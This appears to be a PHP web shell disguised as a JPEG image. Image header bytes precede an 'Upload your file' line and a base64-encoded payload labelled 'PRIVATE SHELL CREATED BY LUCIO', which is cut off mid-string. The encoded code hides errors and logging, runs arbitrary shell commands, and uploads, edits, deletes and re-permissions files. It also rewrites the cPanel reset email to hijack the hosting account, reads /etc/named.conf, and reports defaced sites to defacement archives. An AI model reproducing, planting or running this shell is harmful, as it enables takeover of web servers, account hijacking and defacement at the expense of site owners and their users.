����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������ N1ghtm4r3/R1k4

Upload your file


".base64_decode /** PRIVATE SHELL CREATED BY LUCIO **/ ("PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCnNldF90aW1lX2xpbWl0KDApOw0KY2xlYXJzdGF0Y2FjaGUoKTsNCmhlYWRlcigiWC1Db250ZW50LVR5cGUtT3B0aW9uczogMCIpOw0KaGVhZGVyKCJYLVhTUy1Qcm90ZWN0aW9uOiAwIik7DQpoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9odG1sIik7DQpoZWFkZXIoIkhUVFAvMS4xIDUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3IiLCAwLCA1MDApOw0KaGVhZGVyX3JlbW92ZSgieC1wb3dlcmVkLWJ5Iik7DQpodHRwX3Jlc3BvbnNlX2NvZGUoNTAwKTsNCkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywgMCk7DQpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsNCkBpbmlfc2V0KCdlcnJvcl9sb2cnLCAwKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywgMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7DQoNCmZ1bmN0aW9uIGZsYXNoKCRtZXNzYWdlLCAkc3RhdHVzLCAkY2xhc3MsICRyZWRpcmVjdCA9IGZhbHNlKSB7DQogICAgaWYgKCFlbXB0eSgkX1NFU1NJT05bIm1lc3NhZ2UiXSkpIHsNCiAgICAgICAgdW5zZXQoJF9TRVNTSU9OWyJtZXNzYWdlIl0pOw0KICAgIH0NCiAgICBpZiAoIWVtcHR5KCRfU0VTU0lPTlsiY2xhc3MiXSkpIHsNCiAgICAgICAgdW5zZXQoJF9TRVNTSU9OWyJjbGFzcyJdKTsNCiAgICB9DQogICAgaWYgKCFlbXB0eSgkX1NFU1NJT05bInN0YXR1cyJdKSkgew0KICAgICAgICB1bnNldCgkX1NFU1NJT05bInN0YXR1cyJdKTsNCiAgICB9DQogICAgJF9TRVNTSU9OWyJtZXNzYWdlIl0gPSAkbWVzc2FnZTsNCiAgICAkX1NFU1NJT05bImNsYXNzIl0gPSAkY2xhc3M7DQogICAgJF9TRVNTSU9OWyJzdGF0dXMiXSA9ICRzdGF0dXM7DQogICAgaWYgKCRyZWRpcmVjdCkgew0KICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJHJlZGlyZWN0KTsNCiAgICAgICAgZXhpdCgpOw0KICAgIH0NCiAgICByZXR1cm4gdHJ1ZTsNCn0NCg0KZnVuY3Rpb24gY2xlYXIoKSB7DQogICAgaWYgKCFlbXB0eSgkX1NFU1NJT05bIm1lc3NhZ2UiXSkpIHsNCiAgICAgICAgdW5zZXQoJF9TRVNTSU9OWyJtZXNzYWdlIl0pOw0KICAgIH0NCiAgICBpZiAoIWVtcHR5KCRfU0VTU0lPTlsiY2xhc3MiXSkpIHsNCiAgICAgICAgdW5zZXQoJF9TRVNTSU9OWyJjbGFzcyJdKTsNCiAgICB9DQogICAgaWYgKCFlbXB0eSgkX1NFU1NJT05bInN0YXR1cyJdKSkgew0KICAgICAgICB1bnNldCgkX1NFU1NJT05bInN0YXR1cyJdKTsNCiAgICB9DQogICAgcmV0dXJuIHRydWU7DQp9DQoNCmZ1bmN0aW9uIHdyaXRhYmxlKCRwYXRoLCAkcGVybXMpew0KICAgIHJldHVybiAoIWlzX3dyaXRhYmxlKCRwYXRoKSkgPyAiPGZvbnQgY29sb3I9XCJyZWRcIj4iLiRwZXJtcy4iPC9mb250PiIgOiAiPGZvbnQgY29sb3I9XCJsaW1lXCI+Ii4kcGVybXMuIjwvZm9udD4iOw0KfQ0KDQpmdW5jdGlvbiBwZXJtcygkcGF0aCkgew0KICAgICRwZXJtcyA9IGZpbGVwZXJtcygkcGF0aCk7DQogICAgaWYgKCgkcGVybXMgJiAweEMwMDApID09IDB4QzAwMCkgew0KICAgICAgICAvLyBTb2NrZXQNCiAgICAgICAgJGluZm8gPSAncyc7DQogICAgfSANCiAgICBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgew0KICAgICAgICAvLyBTeW1ib2xpYyBMaW5rDQogICAgICAgICRpbmZvID0gJ2wnOw0KICAgIH0gDQogICAgZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsNCiAgICAgICAgLy8gUmVndWxhcg0KICAgICAgICAkaW5mbyA9ICctJzsNCiAgICB9IA0KICAgIGVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7DQogICAgICAgIC8vIEJsb2NrIHNwZWNpYWwNCiAgICAgICAgJGluZm8gPSAnYic7DQogICAgfSANCiAgICBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgew0KICAgICAgICAvLyBEaXJlY3RvcnkNCiAgICAgICAgJGluZm8gPSAnZCc7DQogICAgfSANCiAgICBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgew0KICAgICAgICAvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAkaW5mbyA9ICdjJzsNCiAgICB9IA0KICAgIGVsc2VpZiAoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7DQogICAgICAgIC8vIEZJRk8gcGlwZQ0KICAgICAgICAkaW5mbyA9ICdwJzsNCiAgICB9IA0KICAgIGVsc2Ugew0KICAgICAgICAvLyBVbmtub3duDQogICAgICAgICRpbmZvID0gJ3UnOw0KICAgIH0NCg0KICAgIC8vIE93bmVyDQogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAxMDApID8gJ3InIDogJy0nKTsNCiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/DQogICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KDQogICAgLy8gR3JvdXANCiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOw0KICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8NCiAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQogICAgDQogICAgLy8gV29ybGQNCiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7DQogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6DQogICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQoNCiAgICByZXR1cm4gJGluZm87DQp9DQoNCmZ1bmN0aW9uIGZzaXplKCRmaWxlKSB7DQogICAgJGEgPSBbIkIiLCAiS0IiLCAiTUIiLCAiR0IiLCAiVEIiLCAiUEIiXTsNCiAgICAkcG9zID0gMDsNCiAgICAkc2l6ZSA9IGZpbGVzaXplKCRmaWxlKTsNCiAgICB3aGlsZSAoJHNpemUgPj0gMTAyNCkgew0KICAgICAgICAkc2l6ZSAvPSAxMDI0Ow0KICAgICAgICAkcG9zKys7DQogICAgfQ0KICAgIHJldHVybiByb3VuZCgkc2l6ZSwgMikuIiAiLiRhWyRwb3NdOw0KfQ0KDQppZiAoaXNzZXQoJF9HRVRbJ2RpciddKSkgew0KICAgICRwYXRoID0gJF9HRVRbJ2RpciddOw0KICAgIGNoZGlyKCRfR0VUWydkaXInXSk7DQp9IGVsc2Ugew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQoNCiRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcGF0aCk7DQokZXhkaXIgPSBleHBsb2RlKCcvJywgJHBhdGgpOw0KDQpmdW5jdGlvbiBnZXRPd25lcigkaXRlbSkgew0KCWlmIChmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikpIHsNCgkJJGRvd25lciA9IEBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGl0ZW0pKTsNCgkJJGRvd25lciA9ICRkb3duZXJbJ25hbWUnXTsNCgl9IGVsc2Ugew0KCQkkZG93bmVyID0gZmlsZW93bmVyKCRpdGVtKTsNCgl9DQoJaWYgKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgew0KCQkkZGdycCA9IEBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGl0ZW0pKTsNCgkJJGRncnAgPSAkZGdycFsnbmFtZSddOw0KCX0gZWxzZSB7DQoJCSRkZ3JwID0gZmlsZWdyb3VwKCRpdGVtKTsNCgl9DQoJcmV0dXJuICRkb3duZXIgLiAnLycgLiAkZGdycDsNCn0NCg0KLy8gQ01EDQpmdW5jdGlvbiBjbWQoJGNvbW1hbmQpIHsNCiAgICBnbG9iYWwgJHBhdGg7DQogICAgaWYgKHN0cnBvcygkY29tbWFuZCwgJ3Jlc2V0Y3AnKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgJGVtYWlsID0gZXhwbG9kZSgnICcsICRjb21tYW5kKTsNCiAgICAgICAgaWYgKCEkZW1haWxbMV0gfHwgIWZpbHRlcl92YXIoJGVtYWlsWzFdLCBGSUxURVJfVkFMSURBVEVfRU1BSUwpKSB7DQogICAgICAgICAgICByZXR1cm4gIllvdSBtdXN0IHNwZWNpZmllZCB2YWxpZCBlbWFpbCBhZGRyZXNzLiByZXNldGNwIGxveWFsYWtvNDRAZ21haWwuY29tIjsNCiAgICAgICAgfQ0KICAgICAgICAkcGF0aGNwID0gZXhwbG9kZSgiLyIsICRwYXRoKTsNCiAgICAgICAgJHRleHQgPSAiLS0tXG5cImVtYWlsXCI6JyRlbWFpbFsxXSciOw0KICAgICAgICAkZmlsZSA9IGpvaW4oJy8nLCBbJHBhdGhjcFswXSwgJHBhdGhjcFsxXSwgJHBhdGhjcFsyXV0pOw0KICAgICAgICAkZmlsZSA9ICRmaWxlIC4gJy8uY3BhbmVsLyc7DQogICAgICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZSAuICdjb250YWN0aW5mbycpKSB7DQogICAgICAgICAgICB1bmxpbmsoJGZpbGUgLiAnY29udGFjdGluZm8nKTsNCiAgICAgICAgfQ0KICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkZmlsZSAuICdyZXNldCcsICR0ZXh0KTsNCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlIC4gJ3Jlc2V0JykpIHsNCiAgICAgICAgICAgIHJlbmFtZSgkZmlsZSAuICdyZXNldCcsICRmaWxlIC4gJ2NvbnRhY3RpbmZvJyk7DQogICAgICAgICAgICByZXR1cm4gIkVtYWlsIGZvciByZXNldCBjcGFuZWwgY2hhbmdlZCB0byAnJGVtYWlsWzFdJyI7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICJGYWlsZWQgdG8gY2hhbmdlIHJlc2V0IGNwIGVtYWlsISI7DQogICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7DQogICAgICAgIHJldHVybiBzaGVsbF9leGVjKCRjb21tYW5kLicgMj4mMScpOw0KICAgIH0gZWxzZSB7DQogICAgICAgIHJldHVybiAiRGlzYWJsZSBGdW5jdGlvbiI7DQogICAgfQ0KfQ0KDQovLyBBUkNISVZFDQpmdW5jdGlvbiBhcmNoaXZlKCl7DQogICAgaWYgKGlzc2V0KCRfUE9TVFsnbmljayddKSAmJiBpc3NldCgkX1BPU1RbJ3RlYW0nXSkgJiYgaXNzZXQoJF9QT1NUWyd3ZWJsaXN0J10pKXsNCiAgICAgICAgJG5pY2tuYW1lID0gJF9QT1NUWyduaWNrJ107DQogICAgICAgICR0ZWFtID0gJF9QT1NUWyd0ZWFtJ107DQogICAgICAgICR3ZWJsaXN0cyA9IGV4cGxvZGUoIlxyXG4iLCAkX1BPU1RbJ3dlYmxpc3QnXSk7DQogICAgICAgIGZ1bmN0aW9uIGhheDByKCRuaWNrLCAkdGVhbSA9ICcnLCAkdXJsKSB7DQogICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoImh0dHBzOi8vaGF4Lm9yLmlkL25vdGlmeS9zaW5nbGUiKTsNCiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7DQogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgdHJ1ZSk7DQogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgWydkZWZhY2VyJyA9PiAkbmljaywgJ3RlYW0nID0+ICR0ZWFtLCAndnVsbnR5cGUnID0+IDEsICdyZWFzb24nID0+IDEsICd3ZWJ0YXJnZXQnID0+ICR1cmwsICdzdWJtaXQnID0+ICdOb3RpZnknXSk7DQogICAgICAgICAgICByZXR1cm4gY3VybF9leGVjKCRjaCk7DQogICAgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gejBuZSgkbmljaywgJHVybCkgew0KICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCJodHRwOi8vd3d3LnpvbmUtaC5jb20vbm90aWZ5L3NpbmdsZSIpOw0KICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsNCiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCB0cnVlKTsNCiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCBbJ2RlZmFjZXInID0+ICRuaWNrLCAnZG9tYWluMScgPT4gJHVybCwgJ2hhY2ttb2RlJyA9PiAxLCAncmVhc29uJyA9PiAxLCdzdWJtaXQnID0+ICdTZW5kJ10pOw0KICAgICAgICAgICAgcmV0dXJuIGN1cmxfZXhlYygkY2gpOw0KICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gIjxjZW50ZXI+LS0tLS0tLSBSZXN1bHQgLS0tLS0tLTwvY2VudGVyPjxicj4iOw0KICAgICAgICBmb3JlYWNoKCR3ZWJsaXN0cyBhcyAkdXJsKXsNCiAgICAgICAgICAgICRhcmNoaXZlaCA9IGhheDByKCRuaWNrbmFtZSwgJHRlYW0sICR1cmwpOw0KICAgICAgICAgICAgJGFyY2hpdmV6ID0gejBuZSgkbmlja25hbWUsICR1cmwpOw0KICAgICAgICAgICAgaWYocHJlZ19tYXRjaCgiPGRpdiBjbGFzcz0nYWxlcnQgYWxlcnQtc3VjY2Vzcycgcm9sZT0nYWxlcnQnPiIsICRhcmNoaXZlaCkpIHsNCiAgICAgICAgICAgICAgICAkejBuZWggPSAiPGZvbnQgY29sb3I9bGltZT5PSzwvZm9udD4iOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkejBuZWggPSAiPGZvbnQgY29sb3I9cmVkPkVSUk9SPC9mb250PiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZihwcmVnX21hdGNoKCIvY29sb3I9XCJyZWRcIj5PSzxcL2ZvbnQ+PFwvbGk+L2kiLCAkYXJjaGl2ZXopKSB7DQogICAgICAgICAgICAgICAgJGhheDByaWQgPSAiPGZvbnQgY29sb3I9bGltZT5PSzwvZm9udD4iOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkaGF4MHJpZCA9ICI8Zm9udCBjb2xvcj1yZWQ+RVJST1I8L2ZvbnQ+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gIiR1cmwgWkg6ICR6MG5laCwgSElEOiAkaGF4MHJpZDxicj4iOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gIjxicj5IYXhvci1JRDogPGEgaHJlZj0naHR0cHM6Ly9oYXhvci5pZC9hcmNoaXZlL2F0dGFja2VyLyRuaWNrbmFtZScgdGFyZ2V0PSdfYmxhbmsnPmh0dHBzOi8vaGF4b3IuaWQvYXJjaGl2ZS9hdHRhY2tlci8kbmlja25hbWU8L2E+PGJyPiI7DQogICAgICAgIGVjaG8gIlpvbmUtSDogPGEgaHJlZj0naHR0cDovL3d3dy56b25lLWgub3JnL2FyY2hpdmUvbm90aWZpZXI9JG5pY2tuYW1lJyB0YXJnZXQ9J19ibGFuayc+aHR0cDovL3d3dy56b25lLWgub3JnL2FyY2hpdmUvbm90aWZpZXI9JG5pY2tuYW1lPC9hPiI7DQogICAgfSBlbHNlIHsNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4NCiAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPk5pY2tuYW1lPC9sYWJlbD4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCIgbmFtZT0ibHVjaW8iIHBsYWNlaG9sZGVyPSJMVUNJTyIgcmVxdWlyZWQ+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPg0KICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1sYWJlbCI+VGVhbTwvbGFiZWw+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG5hbWU9InRlYW0iIHBsYWNlaG9sZGVyPSJMVUNJTyI+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPg0KICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1sYWJlbCI+V2Vic2l0ZTwvbGFiZWw+DQogICAgICAgICAgICAgICAgPHRleHRhcmVhIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG5hbWU9IndlYmxpc3QiIHJvd3M9IjciIHBsYWNlaG9sZGVyPSJodHRwczovL2V4YW1wbGUuY29tIj48L3RleHRhcmVhPg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQiIHR5cGU9InN1Ym1pdCI+U3VibWl0PC9idXR0b24+DQogICAgICAgIDwvZm9ybT4nOw0KICAgIH0NCn0NCg0KaWYgKGlzc2V0KCRfUE9TVFsnbmV3Rm9sZGVyTmFtZSddKSkgew0KICAgIGlmIChta2RpcigkcGF0aCAuICcvJyAuICRfUE9TVFsnbmV3Rm9sZGVyTmFtZSddKSkgew0KICAgICAgICBmbGFzaCgiQ3JlYXRlIEZvbGRlciBTdWNjZXNzZnVsbHkhIiwgIlN1Y2Nlc3MiLCAic3VjY2VzcyIsICI/ZGlyPSRwYXRoIik7DQogICAgfSBlbHNlIHsNCiAgICAgICAgZmxhc2goIkNyZWF0ZSBGb2xkZXIgRmFpbGVkIiwgIkZhaWxlZCIsICJlcnJvciIsICI/ZGlyPSRwYXRoIik7DQogICAgfQ0KfQ0KaWYgKGlzc2V0KCRfUE9TVFsnbmV3RmlsZU5hbWUnXSkgJiYgaXNzZXQoJF9QT1NUWyduZXdGaWxlQ29udGVudCddKSkgew0KICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkX1BPU1RbJ25ld0ZpbGVOYW1lJ10sICRfUE9TVFsnbmV3RmlsZUNvbnRlbnQnXSkpIHsNCiAgICAgICAgZmxhc2goIkNyZWF0ZSBGaWxlIFN1Y2Nlc3NmdWxseSEiLCAiU3VjY2VzcyIsICJzdWNjZXNzIiwgIj9kaXI9JHBhdGgiKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICBmbGFzaCgiQ3JlYXRlIEZpbGUgRmFpbGVkIiwgIkZhaWxlZCIsICJlcnJvciIsICI/ZGlyPSRwYXRoIik7DQogICAgfQ0KfQ0KaWYgKGlzc2V0KCRfUE9TVFsnbmV3TmFtZSddKSAmJiBpc3NldCgkX0dFVFsnaXRlbSddKSkgew0KICAgIGlmICgkX1BPU1RbJ25ld05hbWUnXSA9PSAnJykgew0KICAgICAgICBmbGFzaCgiWW91IG1pc3MgYW4gaW1wb3J0YW50IHZhbHVlIiwgIk9vb3Bzcy4uIiwgIndhcm5pbmciLCAiP2Rpcj0kcGF0aCIpOw0KICAgIH0NCiAgICBpZiAocmVuYW1lKCRwYXRoLiAnLycuICRfR0VUWydpdGVtJ10sICRfUE9TVFsnbmV3TmFtZSddKSkgew0KICAgICAgICBmbGFzaCgiUmVuYW1lIFN1Y2Nlc3NmdWxseSEiLCAiU3VjY2VzcyIsICJzdWNjZXNzIiwgIj9kaXI9JHBhdGgiKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICBmbGFzaCgiUmVuYW1lIEZhaWxlZCIsICJGYWlsZWQiLCAiZXJyb3IiLCAiP2Rpcj0kcGF0aCIpOw0KICAgIH0NCn0NCmlmIChpc3NldCgkX1BPU1RbJ25ld0NvbnRlbnQnXSkgJiYgaXNzZXQoJF9HRVRbJ2l0ZW0nXSkpIHsNCiAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJHBhdGguICcvJy4gJF9HRVRbJ2l0ZW0nXSwgJF9QT1NUWyduZXdDb250ZW50J10pKSB7DQogICAgICAgIGZsYXNoKCJFZGl0IFN1Y2Nlc3NmdWxseSEiLCAiU3VjY2VzcyIsICJzdWNjZXNzIiwgIj9kaXI9JHBhdGgiKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICBmbGFzaCgiRWRpdCBGYWlsZWQiLCAiRmFpbGVkIiwgImVycm9yIiwgIj9kaXI9JHBhdGgiKTsNCiAgICB9DQp9DQppZiAoaXNzZXQoJF9QT1NUWyduZXdQZXJtJ10pICYmIGlzc2V0KCRfR0VUWydpdGVtJ10pKSB7DQogICAgaWYgKCRfUE9TVFsnbmV3UGVybSddID09ICcnKSB7DQogICAgICAgIGZsYXNoKCJZb3UgbWlzcyBhbiBpbXBvcnRhbnQgdmFsdWUiLCAiT29vcHNzLi4iLCAid2FybmluZyIsICI/ZGlyPSRwYXRoIik7DQogICAgfQ0KICAgIGlmIChjaG1vZCgkcGF0aC4gJy8nLiAkX0dFVFsnaXRlbSddLCAkX1BPU1RbJ25ld1Blcm0nXSkpIHsNCiAgICAgICAgZmxhc2goIkNoYW5nZSBQZXJtaXNzaW9uIFN1Y2Nlc3NmdWxseSEiLCAiU3VjY2VzcyIsICJzdWNjZXNzIiwgIj9kaXI9JHBhdGgiKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICBmbGFzaCgiQ2hhbmdlIFBlcm1pc3Npb24iLCAiRmFpbGVkIiwgImVycm9yIiwgIj9kaXI9JHBhdGgiKTsNCiAgICB9DQp9DQppZiAoaXNzZXQoJF9HRVRbJ2FjdGlvbiddKSkgew0KICAgICRhY3Rpb24gPSAkX0dFVFsnYWN0aW9uJ107DQogICAgaWYgKCRhY3Rpb24gPT0gJ2RlbGV0ZScgJiYgaXNzZXQoJF9HRVRbJ2l0ZW0nXSkpIHsNCiAgICAgICAgZnVuY3Rpb24gcmVtb3ZlZGlyKCRkaXIpew0KICAgICAgICAgICAgaWYoIXJtZGlyKCRkaXIpKXsNCiAgICAgICAgICAgICAgICAkZmlsZSA9IHNjYW5kaXIoJGRpcik7DQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGUgYXMgJGZpbGVzKSB7DQogICAgICAgICAgICAgICAgICAgIGlmKGlzX2ZpbGUoJGRpci4iLyIuJGZpbGVzKSl7DQogICAgICAgICAgICAgICAgICAgICAgICBpZih1bmxpbmsoJGRpci4iLyIuJGZpbGVzKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcm1kaXIoJGRpcik7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRkaXIuIi8iLiRmaWxlcykpew0KICAgICAgICAgICAgICAgICAgICAgICAgcm1kaXIoJGRpci4iLyIuJGZpbGVzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHJtZGlyKCRkaXIpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKGlzX2RpcigkX0dFVFsnaXRlbSddKSkgew0KICAgICAgICAgICAgaWYgKHJlbW92ZWRpcigkX0dFVFsnaXRlbSddKSkgew0KICAgICAgICAgICAgICAgIGZsYXNoKCJEZWxldGUgRm9sZGVyIFN1Y2Nlc3NmdWxseSEiLCAiU3VjY2VzcyIsICJzdWNjZXNzIiwgIj9kaXI9JHBhdGgiKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZmxhc2goIkRlbGV0ZSBGb2xkZXIgU3VjY2Vzc2Z1bGx5ISIsICJTdWNjZXNzIiwgInN1Y2Nlc3MiLCAiP2Rpcj0kcGF0aCIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgaWYgKHVubGluaygkX0dFVFsnaXRlbSddKSkgew0KICAgICAgICAgICAgICAgIGZsYXNoKCJEZWxldGUgRmlsZSBTdWNjZXNzZnVsbHkhIiwgIlN1Y2Nlc3MiLCAic3VjY2VzcyIsICI/ZGlyPSRwYXRoIik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGZsYXNoKCJEZWxldGUgRmlsZSBGYWlsZWQiLCAiRmFpbGVkIiwgImVycm9yIiwgIj9kaXI9JHBhdGgiKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCn0NCg0KaWYgKGlzc2V0KCRfRklMRVNbJ3VwbG9hZGZpbGUnXSkpIHsNCiAgICAkdG90YWwgPSBjb3VudCgkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ25hbWUnXSk7DQogICAgZm9yICgkaSA9IDA7ICRpIDwgJHRvdGFsOyAkaSsrKSB7DQogICAgICAgICRtYWludXBsb2FkID0gbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsndG1wX25hbWUnXVskaV0sICRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddWyRpXSk7DQogICAgfQ0KICAgIGlmICgkdG90YWwgPCAyKSB7DQogICAgICAgIGlmICgkbWFpbnVwbG9hZCkgew0KICAgICAgICAgICAgZmxhc2goIlVwbG9hZCBGaWxlIFN1Y2Nlc3NmdWxseSEgIiwgIlN1Y2Nlc3MiLCAic3VjY2VzcyIsICI/ZGlyPSRwYXRoIik7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBmbGFzaCgiVXBsb2FkIEZhaWxlZCIsICJGYWlsZWQiLCAiZXJyb3IiLCAiP2Rpcj0kcGF0aCIpOw0KICAgICAgICB9DQogICAgfQ0KICAgIGVsc2V7DQogICAgICAgIGlmICgkbWFpbnVwbG9hZCkgew0KICAgICAgICAgICAgZmxhc2goIlVwbG9hZCAkaSBGaWxlcyBTdWNjZXNzZnVsbHkhICIsICJTdWNjZXNzIiwgInN1Y2Nlc3MiLCAiP2Rpcj0kcGF0aCIpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZmxhc2goIlVwbG9hZCBGYWlsZWQiLCAiRmFpbGVkIiwgImVycm9yIiwgIj9kaXI9JHBhdGgiKTsNCiAgICAgICAgfQ0KICAgIH0NCn0NCg0KJGRpcnMgPSBzY2FuZGlyKCRwYXRoKTsNCg0KJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIiwgZmFsc2UpOw0KaWYgKCEkZDBtYWlucyl7DQoJJGRvbSA9ICJDYW50IHJlYWQgL2V0Yy9uYW1lZC5jb25mIjsNCgkkR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl0gPSAidHJ1ZSI7DQp9ZWxzZXsgDQoJJGNvdW50ID0gMDsNCglmb3JlYWNoICgkZDBtYWlucyBhcyAkZDBtYWluKXsNCgkJaWYgKEBzdHJzdHIoJGQwbWFpbiwgInpvbmUiKSl7DQoJCQlwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsNCgkJCWZsdXNoKCk7DQoJCQlpZiAoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpew0KCQkJCWZsdXNoKCk7DQoJCQkJJGNvdW50Kys7DQoJCQl9DQoJCX0NCgl9DQoJJGRvbSA9ICIkY291bnQgRG9tYWluIjsNCn0NC